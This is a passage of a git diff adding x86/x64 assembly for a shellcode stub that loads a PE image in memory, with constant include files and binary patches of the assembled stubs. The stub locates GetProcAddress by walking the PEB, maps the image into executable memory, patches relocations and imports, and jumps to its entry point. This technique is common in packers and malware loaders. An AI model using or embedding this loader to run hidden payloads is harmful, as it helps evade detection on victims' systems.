MEM_RESERVE + push dword [esi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + push 0 + call ecx + mov ebx, eax + jmp RelocatePE +Rva2Offset: + push ebx + push edx + push ebp + push edi + push ecx + mov ecx, esi + add ecx, SIZE_OF_IMAGE_NT_HEADER + xor ebp, ebp + mov bp, [esi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] + push ebp + xor ebp, ebp +Rva2OffsetLoop: + cmp ebp, dword [esp] + je Rva2OffsetEndLoop + mov edx, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + mov ebx, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET] + mov edi, dword [ecx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add ebx, edx + add ecx, SIZE_OF_IMAGE_SECTION_HEADER + inc ebp + cmp eax, edx + jl Rva2OffsetLoop + cmp eax, ebx + jge Rva2OffsetLoop + add eax, edi + sub eax, edx +Rva2OffsetEndLoop: + add esp, 4h + pop ecx + pop edi + pop ebp + pop edx + pop ebx + ret +RelocatePE: + push ebp + push edi + mov eax, dword [esi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET] + call Rva2Offset + add eax, [esp + 8h] + mov ebp, eax + xor ecx, ecx +RelocationLoop: + cmp ecx, dword [esi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET + 4h] + je RelocationLoopEnd + mov edx, ebp + add edx, 8h + push ecx + mov edi, dword [ebp + 4h] + sub edi, 8h + shr edi, 1h + xor ecx, ecx +BlocksLoop: + cmp ecx, edi + je BlocksLoopEnd + xor eax, eax + mov ax, [edx] + test eax, eax + jz EscapeBlock + and ax, 0fffh + add eax, dword [ebp] + call Rva2Offset + add eax, dword [esp + 0ch] + push ecx + mov ecx, dword [esi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + sub dword [eax], ecx + add dword [eax], ebx + pop ecx +EscapeBlock: + inc ecx + add edx, 2h + jmp BlocksLoop +BlocksLoopEnd: + pop ecx + add ecx, dword [ebp + 4h] + add ebp, dword [ebp + 4h] + jmp RelocationLoop +RelocationLoopEnd: + pop edi + pop ebp +BuildIAT: + call LoadLibrary + db 'LoadLibraryA', 0h +LoadLibrary: + push ebp + call edi + mov edx, eax + mov eax, dword [esi + IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET] + call Rva2Offset + add eax, [esp] + mov ecx, eax +DescriptorsLoop: + mov eax, dword [ecx + IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET] + test eax, eax + jz DescriptorsLoopEnd + call Rva2Offset + add eax, [esp] + push ecx + push edx + push eax + call edx + pop edx + pop ecx + push edx + push ebx + push ebp + mov ebp, eax + mov eax, dword [ecx + IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET] + call Rva2Offset + add eax, [esp + 0ch] + mov edx, eax + cmp dword [ecx + IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET], 0 + je NotBoundedImport + mov eax, dword [ecx] + call Rva2Offset + add eax, [esp + 0ch] + mov ebx, eax + jmp ThunkArraysLoop +NotBoundedImport: + mov ebx, edx +ThunkArraysLoop: + mov eax, [ebx] + test eax, eax + jz ThunkArraysLoopEnd + bt eax, 1fh + jc ImportByOrdinal + call Rva2Offset + add eax, [esp + 0ch] + add eax, 2h + jmp GetApiAddr +ImportByOrdinal: + and eax, 0ffffh +GetApiAddr: + push ecx + push edx + push eax + push ebp + call edi + pop edx + pop ecx + mov dword [edx], eax + add ebx, SIZE_OF_IMAGE_THUNK_DATA + add edx, SIZE_OF_IMAGE_THUNK_DATA + jmp ThunkArraysLoop +ThunkArraysLoopEnd: + pop ebp + pop ebx + pop edx + add ecx, SIZE_OF_IMAGE_IMPORT_DESCRIPTOR + jmp DescriptorsLoop +DescriptorsLoopEnd: + push edi + push ebp + mov ecx, esi + add ecx, SIZE_OF_IMAGE_NT_HEADER + xor eax, eax + xor edx, edx + mov dx, word [esi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] +MapSectionLoop: + cmp eax, edx + je MapSectionLoopEnd + mov edi, ebx + mov ebp, esi + mov esi, [esp + 8h] + add esi, dword [ecx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add edi, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + push dword [ecx + IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET] + xchg ecx, [esp] + rep movsb + pop ecx + mov esi, ebp + inc eax + add ecx, SIZE_OF_IMAGE_SECTION_HEADER + jmp MapSectionLoop +MapSectionLoopEnd: + pop ebp + pop edi + mov eax, dword [esi + IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET] + add eax, ebx + mov dword [esp], eax + call VirtualFree + db 'VirtualFree', 0h +VirtualFree: + push ebp + call edi + pop esi + push MEM_RELEASE + push 0 + call PushShellcodeBase +PushShellcodeBase: + sub dword [esp], PushShellcodeBase + push esi + push eax + ret +GetPERawBase: + call PERawBase \ No newline at end of file diff --git a/stub/stub_x32.inc b/stub/stub_x32.inc new file mode 100644 index 0000000..f5f9ef8 --- /dev/null +++ b/stub/stub_x32.inc @@ -0,0 +1,43 @@ + +TEB_PPEB_OFFSET equ 30h +PEB_PLDR_OFFSET equ 0ch +LDR_PIN_ORDER_MOD_LIST_OFFSET equ 0ch +LDR_MODULE_BASE_OFFSET equ 18h +IMAGE_DOS_HEADER_LFANEW_OFFSET equ 3ch + +IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET equ 78h +IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET equ 80h +IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET equ 0a0h + +EXPORT_TABLE_ADDR_OF_NAMES_OFFSET equ 20h +EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET equ 24h +EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET equ 1ch + +STRING_OF_GETP equ 50746547h +STRING_OF_ROCA equ 41636f72h +STRING_OF_DDRE equ 65726464h + +MEM_COMMIT equ 1000h +MEM_RESERVE equ 2000h +MEM_RELEASE equ 8000h + +PAGE_EXECUTE_READWRITE equ 40h + +IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET equ 50h +IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET equ 34h +IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET equ 8h +IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET equ 0ch +IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET equ 6h +IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET equ 28h +IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET equ 14h +IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET equ 10h +SIZE_OF_IMAGE_IMPORT_DESCRIPTOR equ 14h + +SIZE_OF_IMAGE_THUNK_DATA equ 4h +SIZE_OF_IMAGE_NT_HEADER equ 0F8h +SIZE_OF_IMAGE_SECTION_HEADER equ 28h + +IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET equ 4h +IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET equ 0ch +IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET equ 10h + diff --git a/stub/stub_x64.asm b/stub/stub_x64.asm new file mode 100644 index 0000000..5d0d91f --- /dev/null +++ b/stub/stub_x64.asm @@ -0,0 +1,265 @@ +bits 64 +%include "stub_x64.inc" + +Init: + sub rsp, 28h + gs mov rax, qword [TEB_PPEB_OFFSET] + mov rax, qword [rax + PEB_PLDR_OFFSET] + mov rsi, qword [rax + LDR_PIN_ORDER_MOD_LIST_OFFSET] + lodsq + xchg rax, rsi + lodsq + mov rbp, qword [rax + LDR_MODULE_BASE_OFFSET] + mov eax, dword [rbp + IMAGE_DOS_HEADER_LFANEW_OFFSET] + mov ebx, dword [rbp + rax + IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET] + add rbx, rbp + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_NAMES_OFFSET] + add rsi, rbp + xor rcx, rcx +FindGetProcAddr: + inc rcx + lodsd + add rax, rbp + cmp dword [rax], STRING_OF_GETP + jnz FindGetProcAddr + cmp dword [rax + 0x4], STRING_OF_ROCA + jnz FindGetProcAddr + cmp dword [rax + 0x8], STRING_OF_DDRE + jnz FindGetProcAddr + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET] + add rsi, rbp + mov cx, [rsi + rcx*2] + dec rcx + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET] + add rsi, rbp + mov edi, [rsi + rcx*4] + add rdi, rbp + jmp GetPERawBase +PERawBase: + pop r15 + mov rsi, r15 + mov eax, dword [rsi + IMAGE_DOS_HEADER_LFANEW_OFFSET] + add rsi, rax + call VirtualAlloc + db 'VirtualAlloc', 0h +VirtualAlloc: + pop rdx + mov rcx, rbp + call rdi + mov r12, rax + mov r9, PAGE_EXECUTE_READWRITE + mov r8, MEM_COMMIT | MEM_RESERVE + mov edx, dword [rsi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + mov rcx, qword [rsi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + call rax + mov rbx, rax + test rax, rax + jnz BuildIAT + mov r9, PAGE_EXECUTE_READWRITE + mov r8, MEM_COMMIT | MEM_RESERVE + mov edx, dword [rsi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + mov rcx, 0 + call r12 + mov rbx, rax + jmp RelocatePE +Rva2Offset: + push r8 + push r9 + push r10 + push r11 + push r12 + push r13 + mov r12, rsi + add r12, SIZE_OF_IMAGE_NT_HEADER + xor r13, r13 + mov r13w, [rsi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] + xor r10, r10 +Rva2OffsetLoop: + cmp r10, r13 + je Rva2OffsetEndLoop + mov r9d, dword [r12 + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + mov r8d, dword [r12 + IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET] + mov r11d, dword [r12 + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add r8, r9 + add r12, SIZE_OF_IMAGE_SECTION_HEADER + inc r10 + cmp rax, r9 + jl Rva2OffsetLoop + cmp rax, r8 + jge Rva2OffsetLoop + add rax, r11 + sub rax, r9 +Rva2OffsetEndLoop: + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + ret +RelocatePE: + mov r8, rbp + mov r9, rdi + mov eax, dword [rsi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET] + call Rva2Offset + add rax, r15 + mov rbp, rax + xor rcx, rcx +RelocationLoop: + cmp ecx, dword [rsi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET + 4h] + je RelocationLoopEnd + mov rdx, rbp + add rdx, 8h + mov r14, rcx + mov edi, dword [rbp + 4h] + sub rdi, 8h + shr rdi, 1h + xor rcx, rcx +BlocksLoop: + cmp rcx, rdi + je BlocksLoopEnd + xor rax, rax + mov ax, [rdx] + test rax, rax + jz EscapeBlock + and ax, 0fffh + add eax, dword [rbp] + call Rva2Offset + add rax, r15 + mov r10, qword [rsi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + sub qword [rax], r10 + add qword [rax], rbx +EscapeBlock: + inc rcx + add rdx, 2h + jmp BlocksLoop +BlocksLoopEnd: + mov rcx, r14 + add ecx, dword [rbp + 4h] + mov r14d, dword [rbp + 4h] + add rbp, r14 + jmp RelocationLoop +RelocationLoopEnd: + mov rbp, r8 + mov rdi, r9 +BuildIAT: + call LoadLibrary + db 'LoadLibraryA', 0h +LoadLibrary: + pop rdx + mov rcx, rbp + call rdi + mov rdx, rax + mov eax, dword [rsi + IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET] + call Rva2Offset + add rax, r15 + mov rcx, rax +DescriptorsLoop: + mov eax, dword [rcx + IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET] + test eax, eax + jz DescriptorsLoopEnd + call Rva2Offset + add rax, r15 + mov r12, rcx + mov r13, rdx + mov rcx, rax + call rdx + mov rcx, r12 + mov rdx, r13 + mov r12, rdx + mov r13, rbx + mov r14, rbp + mov rbp, rax + mov eax, dword [rcx + IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET] + call Rva2Offset + add rax, r15 + mov rdx, rax + cmp dword [rcx + IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET], 0 + je NotBoundedImport + mov eax, dword [rcx] + call Rva2Offset + add rax, r15 + mov rbx, rax + jmp ThunkArraysLoop +NotBoundedImport: + mov rbx, rdx +ThunkArraysLoop: + mov rax, [rbx] + test rax, rax + jz ThunkArraysLoopEnd + bt rax, 3fh + jc ImportByOrdinal + call Rva2Offset + add rax, r15 + add rax, 2h + jmp GetApiAddr +ImportByOrdinal: + and rax, 0ffffh +GetApiAddr: + xchg rcx, [rsp + 30h] + xchg rdx, [rsp + 38h] + mov rdx, rax + mov rcx, rbp + call rdi + xchg rcx, [rsp + 30h] + xchg rdx, [rsp + 38h] + mov qword [rdx], rax + add rbx, SIZE_OF_IMAGE_THUNK_DATA + add rdx, SIZE_OF_IMAGE_THUNK_DATA + jmp ThunkArraysLoop +ThunkArraysLoopEnd: + mov rdx, r12 + mov rbx, r13 + mov rbp, r14 + add rcx, SIZE_OF_IMAGE_IMPORT_DESCRIPTOR + jmp DescriptorsLoop +DescriptorsLoopEnd: + mov r12, rdi + mov r13, rbp + mov rcx, rsi + add rcx, SIZE_OF_IMAGE_NT_HEADER + xor rax, rax + xor rdx, rdx + mov dx, word [rsi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] +MapSectionLoop: + cmp rax, rdx + je MapSectionLoopEnd + mov rdi, rbx + mov rbp, rsi + mov rsi, r15 + mov r14d, dword [rcx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add rsi, r14 + mov r14d, dword [rcx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + add rdi, r14 + mov r14, rcx + mov ecx, dword [rcx + IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET] + rep movsb + mov rcx, r14 + mov rsi, rbp + inc rax + add rcx, SIZE_OF_IMAGE_SECTION_HEADER + jmp MapSectionLoop +MapSectionLoopEnd: + mov rdi, r12 + mov rbp, r13 + mov eax, dword [rsi + IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET] + add rax, rbx + mov rsi, rax + call VirtualFree + db 'VirtualFree', 0h +VirtualFree: + pop rdx + mov rcx, rbp + call rdi + mov r8, MEM_RELEASE + xor rdx, rdx + call PushShellcodeBase +PushShellcodeBase: + pop rcx + sub rcx, PushShellcodeBase + add rsp, 28h + push rsi + push rax + ret +GetPERawBase: + call PERawBase \ No newline at end of file diff --git a/stub/stub_x64.inc b/stub/stub_x64.inc new file mode 100644 index 0000000..b5ffea8 --- /dev/null +++ b/stub/stub_x64.inc @@ -0,0 +1,42 @@ + +TEB_PPEB_OFFSET equ 60h +PEB_PLDR_OFFSET equ 18h +LDR_PIN_ORDER_MOD_LIST_OFFSET equ 10h +LDR_MODULE_BASE_OFFSET equ 30h +IMAGE_DOS_HEADER_LFANEW_OFFSET equ 3ch + +IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET equ 88h +IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET equ 90h +IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET equ 0b0h + +EXPORT_TABLE_ADDR_OF_NAMES_OFFSET equ 20h +EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET equ 24h +EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET equ 1ch + +STRING_OF_GETP equ 50746547h +STRING_OF_ROCA equ 41636f72h +STRING_OF_DDRE equ 65726464h + +MEM_COMMIT equ 1000h +MEM_RESERVE equ 2000h +MEM_RELEASE equ 8000h + +PAGE_EXECUTE_READWRITE equ 40h + +IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET equ 50h +IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET equ 30h +IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET equ 8h +IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET equ 0ch +IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET equ 6h +IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET equ 28h +IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET equ 14h +IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET equ 10h +SIZE_OF_IMAGE_IMPORT_DESCRIPTOR equ 14h + +SIZE_OF_IMAGE_THUNK_DATA equ 8h +SIZE_OF_IMAGE_NT_HEADER equ 108h +SIZE_OF_IMAGE_SECTION_HEADER equ 28h + +IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET equ 4h +IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET equ 0ch +IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET equ 10h \ No newline at end of file diff --git a/stub_x32.bin b/stub_x32.bin new file mode 100644 index 0000000000000000000000000000000000000000..0885d6fc6b527f3b4f2421a726e8094736180d68 GIT binary patch literal 595 zcmYL`O=uHQ6oudXG|XZ&1-qyy)WsB1?ZSa93<;QlrXtjmq)fx4#t@r?G(=-3laQbV z!;qH8g)UtybeomBag}83A}iBYup3cCVRUGMXrXR=zO+@h_uO;N`|e9WyNVEkpa>7d z=94Dm#vv4d+ap!RfzlDi_1#csaJ(`TF;a}K}llzSrF%M zLg^yYhrlK?_z?%JM-L?z>d^z&|Y+7a$^nCO~bB*)!Xokgxa1_U*5I zW{#$M=4)O{CgMw$8iVzx)M>vUgm5#GfVbtYe{+kDj1c~2c7zD5@#a9-8OUAVFT*3Z zvcNW4#`)|dadRPLKRhvt5t#Q*3Cy^rm>t%6t8uq@?jG+vPbQ8b=ZdNH+{#@&rPq`p zB<{fa<6*IX=;tNe21TT~x_$X%5Q&D#Zd{8lsCXNcQTyC!5AK*X9vN<6Z1i_zIV|1- zj@qxdUwxd=&)Q#pALEE-i*-gO2|^-%2IToQ6%*WSRaZDos^QKq{jNY?sWP)KO` zrS=$*An4SgLzfOx2M^h4|EMUG*=FQL`g7^G{!)>$6v}CSxVZQIpoA*BR1>;*V z1;SN#l@J1=sTRadA56eQwZ!$1h&75whwj-i%@PC0L0gCLJjlWXXlAbAOiE8=H*V+A4-BX2RFjI)7bHZ8NG3qEgybS%2}bhXk!?Hlf5McK2$f4J#pgp~-MZj6PTInGd9tT-yemQCv=qPby7s16&28 z=w`SehFxH6xZ&-FjV-dHpMY>aEgWhH{b;&QdYv(1p53p(MKZ+eeW2AUzUsciTHv_p zjJu*D>*Cs$^_b%f$2WV-cz;(9@4c4k$_&veGr*!4y>BO zD~9g@3$o1dGsjhiOAJ>SuB#yg^_lsD+eKr@MRc#w%!vc3WH|xffpFRbM8W&=)9K6+ zbG#Zh@(!y8>ZDY58RLNvjI{uqvW;`S(6;UaI`pXfl=^RxI)43H^Vi+ zO~@7OUsJ>&TuzH*4MZ08lYk!qx0HjT;+CIlKh@^p+AkY6^L>A!kbxRS=2g9*^_t^X wj%%Vh2--5>tm#oCs(x$Eq*7IM%4K)#hsvf3lXl2e{7!XNW=JMVCjTSlUxuY#oB#j- literal 0 HcmV?d00001